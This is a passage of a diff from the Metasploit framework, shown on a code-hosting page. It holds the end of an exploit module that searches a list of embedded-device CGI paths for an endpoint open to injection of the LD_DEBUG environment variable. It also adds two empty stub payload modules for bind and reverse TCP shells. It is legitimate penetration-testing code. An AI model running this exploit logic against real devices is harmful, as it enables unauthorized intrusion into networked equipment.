|
||||
netbinary
|
||||
nobody/Captcha
|
||||
nobody/VerifyCode
|
||||
normal_userLogin
|
||||
otgw
|
||||
page
|
||||
rulectl
|
||||
service
|
||||
set_new_config
|
||||
sl_webviewer
|
||||
ssi
|
||||
status
|
||||
sysconf
|
||||
systemutil
|
||||
t/out
|
||||
top
|
||||
unauth
|
||||
upload
|
||||
variable
|
||||
wanstatu
|
||||
webcm
|
||||
webmain
|
||||
webproc
|
||||
webscr
|
||||
webviewLogin
|
||||
webviewLogin_m64
|
||||
webviewer
|
||||
welcome
|
||||
cgitest
|
||||
^
|
||||
|
||||
if datastore['TARGET_URI'].to_s.length > 0
|
||||
target_uris << datastore['TARGET_URI']
|
||||
end
|
||||
|
||||
common_dirs.each do |cgi_dir|
|
||||
common_cgis.each do |cgi_path|
|
||||
common_exts.each do |cgi_ext|
|
||||
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
|
||||
|
||||
target_uris.each do |uri|
|
||||
if is_cgi_exploitable?(uri)
|
||||
print_good("Exploitable CGI located at #{uri}")
|
||||
return uri
|
||||
end
|
||||
end
|
||||
|
||||
print_error("No valid CGI endpoints identified")
|
||||
return
|
||||
end
|
||||
|
||||
# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
|
||||
def is_cgi_exploitable?(uri)
|
||||
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
|
||||
|
||||
if res
|
||||
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
|
||||
else
|
||||
vprint_status("Request for #{uri} did not return a response")
|
||||
end
|
||||
|
||||
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
|
||||
end
|
||||
|
||||
# This sometimes determines if the CGI module is enabled, but doesn't seem
|
||||
# to return the error to the client in newer versions. Unused for now.
|
||||
def is_cgi_enabled?
|
||||
return true
|
||||
res = send_request_cgi({'uri' => "/cgi-bin"})
|
||||
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind TCP (stub)',
|
||||
'Description' => 'Listen for a connection and spawn a command shell (stub only, no payload)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd_bind_stub',
|
||||
'RequiredCmd' => '',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an empty payload
|
||||
#
|
||||
def generate
|
||||
''
|
||||
end
|
||||
end
|
|
@ -0,0 +1,42 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP (stub)',
|
||||
'Description' => 'Creates an interactive shell through an inbound connection (stub only, no payload)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd_reverse_stub',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an empty payload
|
||||
#
|
||||
def generate
|
||||
''
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue